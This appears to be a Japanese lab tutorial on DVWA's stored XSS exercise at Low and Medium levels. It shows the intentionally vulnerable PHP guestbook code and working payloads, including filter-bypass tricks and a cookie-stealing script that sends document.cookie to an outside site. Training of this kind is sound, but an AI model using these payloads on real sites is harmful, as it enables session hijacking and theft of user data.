本記事の概要
意図的に脆弱性が存在するWebサーバであるDVWAのXSS storedカテゴリの脆弱性の演習の流れを記載します。
XSS storedの脆弱性を悪用されると、掲示板などWebサイトが保存しているコンテンツ中にスクリプトを埋め込むことで意図しないコードが実行される可能性があります。
DVWAでは3段階(Low、Medium、High)のレベルに分かれて問題が出題されており、LowとMediumの演習の手順を記載します。
DVWAの概要や導入方法は「DVWA(Damn Vulnerable Web Application)を構築してみた」をご確認ください。
※本記事に記載している攻撃を自身が管理しているサーバ以外に攻撃した場合は、犯罪になりますので注意してください。
※本記事に記載している内容を行った場合でも私は責任を取れませんので、実施する際は注意してください。
DVWAのレベルの設定変更手順
DVWAで設定できる問題の難易度の3段階(Low、Medium、High)の設定方法のやり方を記載します。
(1) 「DVWA Security」をクリックして、「Security Level is currently 〇〇〇」に記載されている現在のレベルを確認します。その後、レベルを選択して、「Submit」をクリックします。
(2) 「Security Level is currently 〇〇〇」の表記が変わったことを確認します。
DVWAのXSS stored攻撃のやり方(レベル:Low)
(1) DVWAのXSS stored演習のソースコードは以下の通りです。
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
(2) 「XSS stored」をクリックします。
(3) F12キーを押して、F12開発ツールを開く。その後、「インスペクター」タブをクリックして、messageのテキストエリアのmaxlengthの値をクリックする。maxlengthの値にて入力できる文字数を制限しているため、制限値を変更します。
(4) maxlengthの値を500に変更する。
(5) Messageの値にJavaScriptのコードを入力して、「Sign Guestbook」をクリックします。例えば、以下のような文字列を送信すると、任意のJavaScriptのプログラムを実行できます。
【例1:JavaScriptが実行されるか確認するために、ポップアップを表示する】
<script>alert("aaaa");</script>
【例2:別のページ(Googleのサイト)に遷移させる】
<script>window.location.href='https://www.google.com/';</script>
【例3:別のページ(Googleのサイト)にクッキーの情報を送る】
<script>window.location.href='https://www.google.com/?cookie=' + document.cookie;</script>
DVWAのXSS stored攻撃のやり方(レベル:Medium)
(1) DVWAのXSS storedの演習のソースコードは以下の通りです。
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
(2) 演習のレベルLowと比較すると、以下の内容が追記されていますので、messageパラメータはhtmlspecialchars関数にてエスケープ処理されています。nameパラメータについては、<script>という文字列を消す処理をします。
$message = trim(strip_tags(addslashes($message)));
ー--ー(中略)ー-ー-
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
(3) ユーザの入力値(nameパラメータ)を<script>以外は表示していますので、XSS(クロスサイトスクリプティング)の対策としては不十分で脆弱性があります。nameの入力値には文字数制限がありますので、F12開発ツールを開きます。
(4) 「インスペクター」タブをクリックして、nameのテキストボックスのmaxlengthの値をクリックする。maxlengthの値にて入力できる文字数を制限しているため、制限値を変更します。
(5) maxlengthの値を500に変更する。
(6) nameの値にJavaScriptのコードを入力して、「Sign Guestbook」をクリックします。例えば、以下のような文字列を送信すると、任意のJavaScriptのプログラムを実行できます。
【例1:scriptを大文字にして、JavaScriptを実行する】
<SCRIPT>alert("aaaa");</script>
【例2:<scr<script>ipt>を入れて、中にある<script>が削除されるため、JavaScriptを実行する】
<scr<script>ipt>alert("aaaa");</script>
【例3:別のページ(Googleのサイト)に遷移させる】
<SCRIPT>window.location.href='https://www.google.com/';</script>
【例4:別のページ(Googleのサイト)にクッキーの情報を送る】
<SCRIPT>window.location.href='https://www.google.com/?cookie=' + document.cookie;</script>
DVWAに関する記事
DVWAについての関連記事は以下の通りです。
必要に応じて、ご確認ください。
No | タイトル | 記事の概要 |
---|---|---|
1 | DVWA(Damn Vulnerable Web Application) を構築してみた | DVWAのバージョン1.0.7の構築手順を記載します。 |
2 | DVWAのBrute Forceの脆弱性の演習 | DVWAの環境を用いてBrute Force攻撃の 演習の例を記載します。 |
3 | DVWAのCommand Executionの脆弱性の演習 | DVWAの環境を用いてCommand Execution攻撃の 演習の例を記載します。 |
4 | DVWAのCross Site Request Forgery (CSRF)の 脆弱性の演習 | DVWAの環境を用いてCSRF攻撃の 演習の例を記載します。 |
5 | DVWAのFile Inclusionの脆弱性の演習 | DVWAの環境を用いてFile Inclusionの脆弱性を 悪用した攻撃の演習の例を記載します。 |
6 | DVWAのSQL Injectionの脆弱性の演習 | DVWAの環境を用いてSQL Injection攻撃の 演習の例を記載します。 |
7 | DVWAのFile Uploadの脆弱性の演習 | DVWAの環境を用いてFile Uploadの脆弱性を 悪用した攻撃の演習の例を記載します。 |
8 | DVWAのXSS reflectedの脆弱性の演習 | DVWAの環境を用いてXSS reflected攻撃の 演習の例を記載します。 |
9 | DVWAのXSS storedの脆弱性の演習 | DVWAの環境を用いてXSS stored攻撃の 演習の例を記載します。 |